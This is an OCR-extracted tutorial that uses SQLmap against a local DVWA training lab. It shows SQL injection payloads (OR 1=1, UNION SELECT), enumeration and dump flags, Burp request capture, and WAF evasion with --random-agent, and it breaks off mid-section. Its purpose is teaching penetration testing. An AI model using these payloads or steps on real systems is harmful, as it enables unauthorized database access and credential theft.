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Introduction

In the vast and uncharted territories of cyberspace, data is modern-day gold. Buried deep within
vulnerable databases and poorly secured web applications, it lies protected by flimsy fortifications
waiting to be unearthed by malicious and cunning explorers. But unlike ancient treasure hunters
wielding shovels and compasses, today’s data seekers carry a far more powerful tool, SQLmap.

SQLmap isn’t just any run-of-the-mill compass, it's more like an advanced GPS equipped with
metal detectors, ground-penetrating radar, and a treasure-detecting drone all rolled into one. With
just a few well-sequenced commands and parameters, it can navigate the labyrinthine vaults of
SQL databases, exposing hidden troves of sensitive information such as usernames, passwords,
credit card numbers, and more. However, the real magic lies in how SQL injections often serve as
the secret tunnels into these data vaults.

While SQL injections directly target database queries, they often exploit vulnerabilities in web
applications as their entry point. Poorly sanitized input fields, insecure URL parameters, and
misconfigured web forms become the weak spots that attackers leverage to inject malicious SQL
statements. This makes SQL injection a hybrid vulnerability, one that exists at the intersection of
web and database security.

In this article, we'll embark on a thrilling expedition into the world of SQLmap, wielding it as our
digital pickaxe to pry open weak database defenses by exploiting web-based SQL vulnerabilities.
Through a hands-on simulation, you'll witness how this tool automates SQL injection attacks,
extracts data, and even takes over database systems with surgical precision.

By the end of this journey, you'll not only understand how SQLmap works, but you'll also gain
insights into the very vulnerabilities that make both web applications and their underlying
databases susceptible to exploitation. It's a treasure trove of knowledge for penetration testers,
web developers, and security-conscious defenders alike. So, put on your digital explorer’s hat —
we're about to dive deep into data goldmine!



SQL Injection

SQL injection (SQLi) is a code injection technique that exploits vulnerabilities in an application’s
interactions with its underlying database. By injecting malicious SQL statements into input fields,
attackers can manipulate database queries, potentially gaining unauthorized access to sensitive
data, modifying or deleting records, and even executing administrative operations. SQLi typically
occurs when web applications fail to properly sanitize user inputs before passing them to the
database. Since SQL is the language used to communicate with relational databases, injecting
arbitrary SQL commands can allow attackers to tamper with the database’s logic, often leading to
severe data breaches.

SQLi is one of the most prevalent web application vulnerabilities, frequently appearing in OWASP’s
Top 10 list of security risks. It is particularly dangerous due to its low complexity and high impact,
enabling even novice attackers to extract or corrupt critical data with relatively simple payloads.
As of the latest OWASP Top 10 (2021 edition), injection attacks are categorized under A03:2021
(Injection), which encompasses a broad class of input manipulation flaws. This includes not just
SQL injection (CWE-89), but also command injection (CWE-77), LDAP injection (CWE-90), XPath
injection (CWE-91), and NoSQL injection (CWE-943), among others.

SQLi can be categorized into several types based on the method of exploitation and the nature
of the injected query. Each type leverages different weaknesses in SQL query handling, allowing
attackers to perform various malicious operations. The primary SQLi techniques supported by
SQLmap are listed below.

« Error-Based SQL Injection: Leverages database errors to disclose information.

» Union-Based SQL Injection: Uses the UNION SQL operator to combine query results, often
revealing additional database content.

» Boolean-Based Blind SQL Injection: Infers information by sending conditional SQL queries and
observing changes in the application’s behavior.

» Time-Based Blind SQL Injection:Exploits database functions that introduce time delays,
allowing attackers to infer true/false conditions.

« Stacked Queries SQL Injection: Executes multiple SQL statements in a single request, enabling
complex exploitation chains.

« In-line Queries SQL Injection: Embeds subqueries or expressions directly within existing SQL
statements to manipulate logic or extract data without altering the overall query structure,
often evading detection in filtered environments.

Note: SQLmap also supports Out-of-Band (OOB) SQL injection, which leverages external channels like DNS or HTTP callbacks to
exfiltrate data. While OOB is not part of SQLmap’s "--technique’ parameter set, it can be invoked using the "--dns-domain flag
under suitable conditions.

However, there are a few SQLi techniques that are not supported by SQLmap such as second-
order, batched and NoSQL injections. Nevertheless, SQLmap is still widely regarded as one of the
most comprehensive and powerful tools for automating the exploitation of classical SQL injection
vulnerabilities across a wide range of database management systems.



SQLmap

SQLmap is a feature-rich penetration testing tool designed to automate the detection and
exploitation of SQL injection vulnerabilities. It offers a vast array of functions that cater to both
novice and advanced penetration testers. Its core functionality revolves around identifying and
exploiting SQL injection flaws, but it goes far beyond basic detection. SQLmap can fingerprint

the target database, identifying the database management system (DBMS) type (e.g., MySQL,
PostgreSQL, MSSQL, Oracle) and its version. Once a vulnerability is detected, SQLmap can extract
database schema information, including table names, column names, and data types. It supports
data extraction and dumping, allowing attackers to retrieve entire tables or specific records.

Despite its extensive utility and sophistication, SQLmap ironically suffers from its own success.

Its unmatched automation and power have made it so effective that it's explicitly prohibited
during the Offensive Security Certified Professional (OSCP) exam. The rationale is simple, OSCP
emphasizes manual exploitation, critical thinking, and a deep understanding of vulnerabilities.
SQLmap, while excellent for real-world engagements, abstracts away much of the learning
process by automating discovery, payload crafting, and exploitation steps that candidates are
expected to perform manually. As such, relying on SQLmap would undermine the purpose of the
exam, which is to evaluate hands-on skill rather than tool dependency.

In summary, SQLmap is an indispensable tool for SQL injection exploitation that offers
comprehensive functions for detection, exploitation, data exfiltration, and post-exploitation
activities.



Damn Vulnerable Web Application (DVWA)

The Damn Vulnerable Web Application (DVWA) is an intentionally insecure PHP and MySQL web
application designed for security professionals and ethical hackers to practice and enhance their
penetration testing sKkills. It contains a variety of vulnerabilities, including SQL injection (SQLi),
Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), command injection, and file
inclusion.

The SQL injection (non-blind) exercise is particularly notable, as it allows testers to directly
interact with the database through vulnerable input fields. By injecting malicious SQL statements,
attackers can extract sensitive information, such as user credentials, by manipulating the backend
SQL queries. DVWA offers multiple security levels (low, medium, high, and impossible), enabling
users to progressively challenge their skills and understand how different security controls impact
SQLi exploits.

DVWA Docker Setup

The initial setup process begins with pulling the DVWA Docker image from the repository and

then running it, as shown in Figure 1. The command “sudo docker pull sagikazarmark/
dvwa ™ downloads the necessary container image with all its layers being pulled and verified. The
digest confirmation in the form of a SHA 256 value ensures the integrity of the downloaded image,
whilethe status indicates the successful completion of the pull operation.

Following the image download, the container is launched using the Docker run command with
a port mapping configuration. The execution of “sudo docker run -d --name dvwa -p
8080:80 sagikazarmark/dvwa’ creates a detached container named ‘dvwa’ and maps the
host’s port 8080 to the container’s port 80. The long alphanumeric string returned as output
represents the unique container ID, confirming successful container instantiation.

jection_Simulations]
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Figure 1. Dockerized DVWA pull and run



Once the container is operational, users can access the DVWA login interface through their web
browser at “localhost:8080/login.php ", as illustrated in Figure 2. The login page presents the
distinctive DVWA logo along with standard authentication fields for username and password. The
default credentials consist of "admin” as the username with “password" as the password.

®® O Login:DamnVulnerable X  +

O D o~ localhost:808 20% ¥

N\
DVWA

Username

admin

Password

Login

Damn Vulnerable Web Application (DVWA)

Figure 2. DVWA login page



After successful authentication, users are directed to the main DVWA dashboard as shown

in Figure 3, which provides comprehensive information about the application’s purpose and
functionality. The interface includes a navigation menu on the left side featuring various
vulnerability categories such as Brute Force, Command Injection, CSRF, File Inclusion, and (more
importantly for us) SQL injection.

[home | Welcome to Damn Vulnerable Web Application!

Instructions Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web

Setup / Reset DB developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

Brute Force The aim of DVWA is to practice some of the most common web vulnerability, with various difficultly levels,

with a simple straightforward interface

Command Injection
CSRF :
General Instructions
File Inclusion
Hlu I.Iplald Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or

selecting any module and working up to reach the highest level they can betore moving onto the next one. There

Insecure CAPTCHA | is not a fixed object to complete a module; however users should feel that they have successhully exploited the
system as best as they possible could by using that particular vulnerability.

SQL Injection | o
Please note, there are both and with this software. This is

SQL Irw:non [Bllnﬂ] | intentional. You are encouraged 1o try and dlswver as many issues as possible.

XSS (Reflected) | DVWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demonsirate how adding another layer of security may block certain malicious

XSS (Stored) | % Y A it

actions. Note, there are also various public methods at bypassing these protections (so this can be see an as
extension for more advance users)!

_DVWA Security | There is & help button at the bottom of each page, which allows you o view hints & tips for that vulnerability.
PHP Info There are also additional links for further background reading, which relates to that security issue.
About

. WARNING!

M Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public

html folder or any Internet facing servers, as they will be compromised, It is recommend using a virtual
machine (such as or ), which Is set to NAT networking mode. Inside a guest machine, you
can dowmloading and install for the web server and database.

Disclaimer

We do not take responsibility for the way in which any one uses this application (DVWA). We have made the
purposes of the application clear and it should not be used maliciously, We have given warnings and taken
measures o prevent users from installing DVWA on to live web servers. If your web server is compromised via an
installation of DVWA it is nat our responsibility it is the responsibility of the personfs who uploaded and installed it

More Training Resources
DWWA aims to cover the most commanly seen vulnerabilities found in today's weh applications. However there

are plenty of other issues with web applications. Should you wish to explore any additional attack vectors, or want
more difficult challenges, you may wish to look into the following other projects:

.

(formerly known as )

You have logged in as ‘admin’

Username: admin
Security Level: impossible
PHPIDS: disabled

Figure 3. DVWA index page



The difficulty configuration can be managed through the DVWA Security section as demonstrated
in Figures 4, 5, and 6, where | adjusted the difficulty level from “impossible” (default) to "low".
Finally, the "SQL Injection” tab on the left is clicked to open the SQLi low level difficulty page as
shown in Figure 7. This marks the completion of the DVWA Docker setup, and the experiments can

now begin.

O D localhost:8080/sec

Home

Instructions
Setup | Reset DB

Brute Force

Irity.php

DVWA Security »

Security Level
Security level is currently: impossible.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability

Command Injection | level of DVWA
CSRF | 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web application vulnerabilities manifest through bad coding practices and to serve
File Inclusion | as a platform ta teach or learn basic exploitation technigues.
File Upload | 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
3 developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
Insecure CAPTCHA exploitation technigy
| 3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
SQL Injection | practices o attempt to secure the code. The vulnerability may not allow the same extent of the
i exploitation, similar in various Capture The Flags (CTFs) competitions.
~SQL Injection (Blind) 4, Impossible - This level should be secure against all vulnerabilities, |t is used to compare the winerable
source code to the s urce code.
sl S Priarity to DVAWA v1.9, this level was known as ‘hight
XSS (Stored|
L J | | + || Submit |
PHP Info PHPIDS

About
Logout

Username: admin
Security Level: impossible
PHPIDS: disabled

v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. Itis used in
DVWA o serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented,
You can enable PHPIDS across this site for the duration of your session.
PHPIDS is currently: disabled. [/ ]

I ]-[ 1

Figure 4. DVWA security settings page
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Security Level
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‘You can set the secunity level to low, medium, high or impossible. The security level changes the vulnerability
level of DVIWA:

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be
as an example of how web applicabon vuinerabilites manifest through bad coding practices and to serve
as a platform to teach or leamn basic exploitation techniques.

Medium - This setiing is mainly to give an exampie to the user of bad security practices, where the
developer has tried but failed to secure an application. It also acts as a challenge to users to refine their
exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
practices 0 atel I inerability may not allow the same extent of the
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Figure 5. Switching

security level to low

Home

Instructions

Setup | Reset DB
Brute Force
Command Injection
CSRF

File Inclusion

File Upload
Insecure CAPTCHA

SQL Injection |

DVWA Security *

Security Level
Security level is currently: low.

“You can set the security level to low, medium, high or impossible. The security level changes the vulnerability
level of DVWA:

1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be

as an example of how web application vulnerabilities manifest through bad coding practices and to serve

as a platform to teach or learn basic exploitation technigues.

Medium - This setting is mainly to give an example to the user of bad security practices, where the

developer has tried but failed fo secure an application. |t also acts as a challenge to users to refine their

exploitation techniques.

3. High - This opfion is an extension to the medium difficulty, with a midure of harder or alternative bad
practices o attempt to secure the code. The vulnerability may not allow the same extent of the

N

SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

===y ]
PHP Info
About

Logout

Username: admin
Security Level: low
PHPIDS: disabled

, similar in various Capture The Flags (CTFs) competitions.

Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Priarity to DVWA v1.9, this level was known as 'high'

E

|Low ~ | [ Submit |

PHPIDS

v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
PHPIDS works by filtering any user supplied input against a blacklist of potentially malicious code. It is used in
DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented
“You can enable PHPIDS across this site for the duration of your session.

PHPIDS is cumrently: disabled. [ ]
I 1-[ 1

Security level set to low

Figure 6. Successful change of security level to low



O localhost:808 e ties/s 80%

Home Vulnerability: SQL Injection
testuctions |
Setup | Reset DB | User ID Submt

Brute Force | i
) | More Information
CSRF |
File Inclusion |
File Upload |
Insecure CAPTCHA |
\
SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)
DVWA Security

PHP Info
About

Logout
Username: admin View Source | View Help

Security Level: low
PHPIDS: disabled

Figure 7. DVWA low level SQL injection page
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SQL Injection (Low) PHP Code Review

One of the great features of DVWA is that it shows the PHP code of SQL injection exercise for
all difficulty levels. The SQLi low-difficulty PHP code shown in Figure 8 demonstrates several
insecure practices that make the application trivially exploitable. Below is a breakdown of the
critical vulnerabilities in the code.

Firstly, line 4 pulls user-supplied data from the $_REQUEST superglobal, which aggregates input
from GET, POST, and COOKIE sources, making the input channel unpredictable and harder

to secure. No validation or sanitization is performed on this input. This makes the application
extremely vulnerable, as an attacker can inject raw SQL through the id parameter without any
filtering. Any malicious string, such as "1 OR “1'="1", will be accepted and passed into the SQL
query, allowing for full control of the backend logic.

Secondly, in line 7 the application constructs the SQL statement dynamically. This unsafe string
concatenation directly embeds the "$id " variable into the SQL command. Without any escaping
or binding, this allows for classical SQL injection. For instance, an attacker could use a payload
like *?id=1"OR “1'="1", which would result in the query: "SELECT first_name, last_name FROM users
WHERE user_id = " OR “I'="T’;". Since the condition 1'="1"" is always true, the query returns all
users in the database which effectively bypasses access control mechanisms.

Thirdly, line 8 executes the query and, if it fails, uses die () to display either SQL or connection-
related error messages, depending on the error type. While this is helpful during development,

it poses a massive security risk in production. Attackers can intentionally break SQL syntax

to generate error messages, which may reveal information about the database schema or
connection issues, aiding in further exploitation. For example, using "?id=1" AND (SELECT 1 FROM
nonexistent_table) --" would result in a verbose error that may expose internal database details,
aiding in further exploitation.

Finally, line 16 echoes the attacker-supplied "id" value along with the fetched “first name’
and "last name fields directly to the screen. While this does not cause SQL injection by itself,
it provides useful feedback to the attacker by reflecting their input and displaying query results.
This visibility helps confirm whether an injection attempt was successful. For instance, if an
attacker sends a payload like *?id=1‘ UNION SELECT database(), version() -- and
sees the database name and version in the response, it indicates that the injection succeeded.
Although output display is often intended for user experience, doing so without proper encoding
or sanitization turns the application into a feedback mechanism for attackers.

if( isset( $ REQUEST

$id = $ REQUEST[ 'id’

$query b r 3 S us

$result = mysqli_query($GLOBALS[" qli > $query

’ ’ (is_object($GLOBALS S )) ? mysqli_
“1) : (($__ mysqli res = mysqli_connect_error

$  mysqgli )) . <

le( $row = mysqli_fetch_assoc( $result ) {

$first = $row
$last $row[ "

ech
pre>";

; is null($ mysgli res = mysqli close($GLOBALS[" |
: $_ mysqgli_res);

Figure 8. DVWA low level SQL injection PHP code



SQL Injection (Low) User Interface Review

The user interface depicted in the low-level SQL injection page shown in Figure 9 is a textbook
example of poor front-end design from a security standpoint. The interface provides a simple text
box labeled "User ID" that was manually tested to expose that it accepts arbitrary user input,
which includes special characters and SQL syntax. This input field imposes no visible client-side
restrictions such as character limits, input validation (e.g., type checking for integers), or input
sanitization. The user is able to enter any character directly into the field and the form will submit
the value as part of a GET request, as seen in the URL “?id=1&Submit=Submit" at the top of the
browser. This makes it extremely easy for an attacker to experiment with payloads simply by
modifying the URL without the need for proxy tools or form tampering.

This URL-based submission model is problematic because it exposes the injection point directly
in the address bar, making it trivial for attackers to test various SQL payloads by simply modifying
the URL. For example, an attacker could append malicious input suchas " “orR “1/=1"tothe 'id"
parameter to test for vulnerability and observe the response in real time.

The combination of a raw text input, URL-based parameter passing, and direct output reflection
makes the front-end design of this page highly susceptible to SQL injection and ideal for
demonstrating how insecure input handling in the Ul can expose critical vulnerabilities.

o | Vulnerability: SQL Injection

Setup | Resst DB | user 10x 1 Submit

File Inclusion | More Information

Username: admin View Source | View Help
S

rity Level: low

ecurity
PHPIDS: disabled

Figure 9. DVWA low level SQL injection input sample



Automated SQL Injection (Low) with SQLmap

For the DVWA low-level difficulty SQLmap expedition, a streamlined and methodical approach
will be applied. The attack process will be designed to be straightforward and follow typical
penetration testing engagement procedures. All SQLmap commands for this level will incorporate
the "-u’ parameter to specify the target URL and the "--cookie" parameter to supply the
necessary PHPSESSID and security cookie values required for authentication.

As shown in Figure 10, cookie details can be retrieved by opening the Firefox browser’s developer
tools (F12 or right-click and select “Inspect”), navigating to the “Storage” tab, expanding the
“Cookies” section, and locating the relevant cookies. In this particular case, the PHPSESSID value
is "goqc6hsaknc8f18sTP29p8111° while the security level value is “low . These values must be
precisely copied to ensure that SQLmap can maintain a valid session during the penetration
testing process.

Once the proper cookie values are obtained, database enumeration serves as the foundation of
the SQL injection assessment. This can be efficiently achieved using SQLmap’s "--banner” flag,
which retrieves database version information. In addition, implementing the "--batch” flag enables
non-interactive mode, allowing SQLmap to automatically use default answers for all prompts,
streamlining the testing process and providing consistent results throughout the attack simulation.

O O 127.0.0.1:8080/vulnerabilities/

o)

Home Vulnerability: SQL Injection

Instructions
Setup | Reset DB e[ [[subma)

Brute Force

Command Injestion More Information
CSRF .

Filepioad |
ERETE

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Figure 10. Acquiring cookie values



The '--banner’ and '--batch’ Flags

Since this is the first SQLmap execution on this DVWA target, the output will be extensive, as
preliminary tests and initial evaluations are being conducted. As shown in Figures 11, 12, and 13,
the SQLmap is executed with the “--banner™ and "--batch" to present a wide variety of output. To
elaborate briefly on Figure 11, the execution starts by performing connection and stability checks
on the target and then proceeds to perform a plethora of tests to determine if the “id" parameter
is dynamic, and heuristic testing for SQL injection and cross-site scripting (XSS).

There are two prompts that were answered with the default selection (*Y" for Yes) thanks to

the “--batch" flag. The first prompt asks " it looks like the back-end DBMS is ‘MySQL’ Do you
want to skip test payloads specific for other DBMSes? [Y/n] . If answered with " Yes® (eg. Y/

y ") it will skip all non-MySQL-specific SQL injection payloads and only use MySQL-related ones.
This is great for efficiency and speed when you are certain that MySQL is the only DBMS in use.
If answered with "No™ (*N/n") it will continue testing all DBMS-specific payloads, including for
SQL Server, PostgreSQL, Oracle, and others, even though MySQL appears to be the backend.
The second prompt asks " for the remaining tests, do you want to include all tests for MySQL’
extending provided level (1) and risk (1) values? [Y/n]" . If answered with " Yes® (e.g., "Y/y"), this
will expand the level and risk settings to maximize testing coverage for the executed payloads.
This may increase the chances of detecting SQL injection vulnerabilities including ones that are
more complex or harder to trigger but may also be more disruptive toward the target. If answered
with "No" (*N/n"), this will continue testing only with the default level (1) and risk (1), which uses a
smaller, less aggressive set of payloads.

To elaborate briefly on Figure 12, it reflects the detailed SQL injection testing phase conducted
by SQLmap. The specific tests conducted include Boolean-based, error-based, time-based, and
UNION-based SQLi techniques. As observed, these tests conclude that the “id" parameter is
injectable using these specific techniques. In addition, the third and final prompt of the SQLmap
execution asks *GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)?
[y/NI". If answered with " Yes" (e.g., "Y/y’), this will continue testing other potential parameters
(if they exist) for SQL injection vulnerabilities, which will ensure maximum coverage and identify
all possible vulnerabilities across multiple parameters. If answered with "No" (e.g., "N/n"), this
will stop testing further parameters and focus on exploiting the confirmed vulnerability in the “id"
parameter, which is useful for focused simulations or if a reduced scan time is desired.

Finally, to elaborate briefly on Figure 13, the SQLi techniques Boolean-based, error-based, time-
based, and UNION were successfully identified and applied on the target to eventually acquire the
banner information of *5.5.54-0+deb8ul-log’. This DVWA target was exposed to have a back-end
DBMS of MySQL running an Apache 2.4.10 web server with a Debian Linux operating system.
Moreover, these preliminary tests are all logged and therefore, further tests will require a shorter
run time as base data have already been acquired with this initial SQLmap execution.

Figure 11. SQLmap “--banner’ execution part 1 of 3
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Figure 13. SQLmap "--banner" execution part 3 of 3
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The '--dbs’ Flag

The typical attack progression after obtaining banner information is to access the DBMS and list
all the existing databases. This can be done using the "--dbs" flag as shown in Figure 14, which
exposed the fact that this target has a total of four databases named “dvwa", “information_
schema’, ‘'mysql’, and “performance_schema".

The information_schema is a system database in MySQL that acts as a metadata repository. It
contains read-only views that describe the structure of all other databases on the server such as
tables, columns, and character sets. Attackers often enumerate this schema to discover the target
database layout during SQL injection attacks.

The performance_schema is a diagnostic system database used to monitor MySQL server
performance. It stores data related to query execution times, I/O statistics, memory usage,
and thread activity. While it doesn’t contain sensitive application data, it can be useful during
advanced reconnaissance to understand server behavior or detect anomalies during testing.

The MySQL database is a critical system schema that manages user accounts, privileges, roles,
and server configurations. It includes tables such as user, db, and tables_priv. Gaining access
to this database allows attackers to escalate privileges, create new users, or modify existing
permissions, therefore making it a high-value target in exploitation scenarios.

The DVWA database is the main target in this simulation environment. It contains intentionally
insecure tables and data designed for practicing web security testing techniques such as SQL
injection. It contains typical tables that mimic real-world application structures.
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Figure 14. SQLmap "--dbs" execution



The '--tables’ Flag

The common attack progression after obtaining the list of existing databases of a target is to

list their tables. Typically, the non-default database will pique a pen-tester or a threat actors
curiosity. In this particular case, the "dvwa" database is of high interest. To expose all the tables
of a specific database using SQLmap, the “--tables" flag is used along with the *-D" flag to
indicate the database of interest as demonstrated in Figure 15. This specific execution of SQLmap
has exposed the fact that this target has the tables "guestbook™ and “users" within the "dvwa’
database.
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Figure 15. SQLmap "--tables” execution



The '--columns’ and "--verbose’ Flags

Upon discovery of database tables of interests, the next organic step will be to explore the column
structure and names of these columns. To uncover all columns and the data types of a particular
table and database using SQLmap, the "--columns" flag is used along with the *-T" flag to specify
the table to be explored and the "-D" flag to indicate the database it belongs to, as demonstrated
in Figure 16. SQLmap has managed to provide a tabulated output of all the columns with their
corresponding names and types. The column “user” and “password" are particularly enticing. The
*-v' flag, short for "--verbose", controls the verbosity level of SQLmap’s output, which is crucial
for understanding the step-by-step operations the tool performs during the injection process.
Ranging from O to 6, each level incrementally reveals more internal details. In this particular case,
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Figure 16. SQLmap "--columns” execution



The --dump’ Flag

Finally, a specific database and table of interest has been discovered. To unload all the data

of a specific database table using SQLmap, the "--dump" flag is used along with the *-T" flag

to specify the table to be explored and the "-D" flag to indicate the database it belongs to as
demonstrated in Figure 17. Apart from dumping all data rows, the password MD5 hash has also
been automatically decrypted for your convenience. All credential pairs have now been exposed,
including that of “admin:password".
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Figure 17. SQLmap "--dump" execution



A

SQL Injection (Medium) PHP Code Review

The DVWA SQL injection exercise at the medium difficulty level showcases improved security
measures compared to the low difficulty but still contains exploitable vulnerabilities. The PHP
code shown in Figure 18 demonstrates partial security improvements that attempt to mitigate SQL
injection, though several weaknesses remain.

Firstly, examining line 5, we see a significant improvement in how the user input is handled using
the “mysqli_real_escape_string()" function. It enables the escape of certain special characters
such as quotes but is not foolproof protection against all SQL injection types. Nevertheless, this is
a substantial improvement over the low difficulty version that used raw, unfiltered input.

In line 8, however, we observe a critical vulnerability that undermines the previous security measure.
Despite sanitizing the input value, the query construction still uses direct variable interpolation
without enclosing $id in quotes. This weakens the effectiveness of the sanitization, as numeric-
based SQL injections remain possible. While some string-based injection vectors may be mitigated,
the protection is fragile and easily bypassed due to the absence of parameterized queries. An
attacker can still provide inputs like 1 OR 1=1, resulting in the query: SELECT first name, last_
name FROM users WHERE user id = 1 OR 1=1;, which effectively bypasses authentication.

Line 9 shows the query execution code. Similar to the low difficulty version, this code continues
to display detailed database error messages when queries fail. This information disclosure
vulnerability allows attackers to gather valuable intelligence about the database structure through
error-based SQL injection techniques.

Finally, in line 18, we see the output generation. The application still reflects user input and query
results directly to the page, which enables attackers to confirm successful injections and exfiltrate
data through carefully crafted payloads. This output reflection assists attackers in developing and
refining their injection strategies through visual feedback.

While the medium difficulty introduces input sanitization via the “mysqli_real_escape_string()’
function, the lack of parameterized queries and the numeric SQL injection vulnerability created by
omitting quotes around the “$id" parameter still leaves the application susceptible to attack. This
demonstrates how partial security measures can create a false sense of security while leaving
significant attack vectors open.

if( isset( $_POST[ 'submit®

$query " first_name, last_ name user_id = $id;

H
$resul mysqli_query($GLOBALS[" i » $query ) or die(
"< (is_object($GLOBALS[" | i ) ? mysqli_err
($GLOBALS[ " | 1 1= mysqli res = mysqli connect_error

while( $row = mysqli_fetch_assoc( $result ) {
$first = $row

$last = $row

echo : {$id}<b st name: {$first}<t e: {$last}

Figure 18. DVWA medium level SQL injection PHP code



SQL Injection (Medium) User Interface Review

The user interface for the medium-level SQL injection page in DVWA as shown in Figure 19,
demonstrates a notable security improvement over the low-level implementation. Instead of a
free-form text field, the application now implements a dropdown menu for User ID selection. This
dropdown restricts users to choosing from a predefined set of numeric values which represents a
significant security enhancement. By constraining input choices, the interface attempts to prevent
direct injection of malicious SQL payloads that rely on specially crafted input strings.

This interface modification represents a common security hardening technique that follows the
principle of input restriction. By limiting user input to a controlled set of presumably safe values,
the application attempts to reduce the attack surface. The dropdown implementation makes it
more difficult (though not impossible) for attackers to submit arbitrary SQL code through the
normal user interface. This forces potential attackers to employ more sophisticated techniques
like intercepting and modifying HTTP requests rather than simply typing malicious code into a text
field.

Another notable security improvement in the medium-level interface is the switch from GET to
POST request methods. Unlike the low-level version where the injection parameter is appended
directly in the URL, the medium-level implementation sends data in the HTTP request body via
POST. While this does not prevent SQL injection attacks, it reduces the visibility of parameters,
making casual tampering through the address bar more difficult. Attackers now need tools like
Burp Suite, browser developer tools, or custom scripts to intercept and manipulate the hidden
request data.

However, despite these improvements, the medium-level interface still contains inherent security
flaws. The application continues to directly reflect query results on the page, providing immediate
feedback that helps attackers confirm successful injections. Additionally, the dropdown restriction
can be easily bypassed by intercepting the HTTP request after form submission via special tools
(e.g., BurpSuite, OWASP ZAP, etc.), allowing attackers to replace the legitimate dropdown value
with malicious SQL code.
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Figure 19. DVWA medium level SQL injection input sample



Clean Pen-Testing Slate

Before proceeding with the SQLmap executions against the DVWA medium SQL injection exercise,
it is essential to perform proper housekeeping by clearing previous scan results, as demonstrated
in Figure 20. The command “rm -rf /home/kali/.local/share/sqlmap/output/localhost’
systematically removes all existing SQLmap output files related to previous localhost testing
sessions. This critical preparatory step ensures that any new scan results won’t be contaminated
by cached data or previous testing artifacts, which could potentially lead to false positives

or misinterpretation of vulnerability findings. By purging the SQLmap output directory for the
localhost target, the testing environment is effectively reset to a pristine state, allowing for clean
and reliable data collection during the upcoming medium-difficulty SQL injection assessment. This
meticulous attention to maintaining a controlled testing environment reflects proper penetration
testing methodology and demonstrates the importance of eliminating cross-contamination
between testing iterations when evaluating web application security vulnerabilities in a structured
manner.
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Figure 20. Clean slate for new SQL injection testing



Acquire ‘request.txt’ with BurpSuite

To demonstrate a more sophisticated SQL injection attack against the DVWA medium

difficulty level, the approach transitions from using simple cookie-based parameters to a
complete HTTP request capture methodology. As shown in Figure 21, Burp Suite serves as

an intercepting proxy to capture the full HTTP traffic between the browser and the target
application. After enabling interception and navigating to the SQL injection page, submitting

a basic query (e.g., "id=1") through the dropdown interface allows Burp Suite to capture the

entire POST request with all associated headers, cookies, and parameters. The intercepted
request reveals crucial details including the application’s use of POST method rather than GET,
the precise endpoint (/vulnerabilities/sqli/), and most importantly, the security cookie value

" PHPSESSID=8d4pkqu62rsd7cf52q3ap80iq2, security=medium’, which authenticates the session
at the medium difficulty level. Once captured, this complete HTTP request can be exported

to a text file named ‘request.txt” using Burp’s export functionality. As demonstrated in Figure

22, the contents of this request file can be verified using the cat request.txt command in the
terminal, confirming it contains all necessary components including headers, cookies, and the
POST data "id=1&Submit=Submit" required for successful authentication and exploitation. This
comprehensive request capture approach provides SQLmap with significantly more context than
simply passing cookies, enabling it to accurately emulate a legitimate user session when using the
“-r’ parameter.
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Figure 21. Capture HTTP request via Burp Suite
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The --random-agent’ Flag

The "--random-agent” flag serves a strategically valuable purpose during an SQL injection
assessment. This flag enhances stealth and evasion during engagements by automatically selecting
a random User-Agent string from SQLmap’s internal list of common browser identifiers. This is
particularly useful when targeting systems that implement basic request fingerprinting or intrusion
detection based on suspicious User-Agent headers such as those consistently issuing requests
from a tool or script rather than a real browser. In real-world scenarios, the “--random-agent” flag
may help bypass primitive web application firewalls (WAFs) or rate-limiting filters that are configured
to flag or throttle repeated requests coming from default or non-browser user-agent strings. When
used, this flag can minimize the likelihood of detection, thereby enabling covert testing workflows.

As shown in Figure 23, SQLmap was executed with the “--random-agent" flag. Specifically, the
output “fetched random HTTP User-Agent header value® shows the flag at work as SQLmap was
able to fetch a randomly fabricated HTTP User-Agent header value (e.g., *Mozilla/5.0 (Macintosh;,
U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.0.5 Safari/531.22.7"). Furthermore, the same
output even specifies the file from where the user-agent value was sourced (e.g., “/usr/share/
sglmap/data/txt/user-agents.txt"). As shown in Figures 24 and 25, SQLmap then proceeds to fulfil
the "--banner’ flag procedures to complete the whole execution.
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Figure 25. SQLmap "--random-agent’ execution part 3 of 3



The "--current-db’ & '--current-user’ & "--is-dba’ Flags

SQLmap’s “--current-db", "--current-user’, and "--is-dba flags" are essential enumeration
options that provide valuable insights into the context and privileges associated with the
compromised SQL session.

The “--current-db" flag retrieves the name of the current default database in use by the
application, which is critical for focusing subsequent data extraction and understanding the
application’s schema structure.

The “--current-user flag, on the other hand, fetches the username used by the back-end DBMS
for the session, which is often a service account or specific database user configured by the
application. Knowing the current user can help penetration testers or threat actors assess the
scope of access, especially when cross-referencing it with database roles and privileges.

The "--is-dba" flag takes this a step further by determining whether the current database user
has administrative (DBA) privileges. This is a particularly crucial check because if the user has
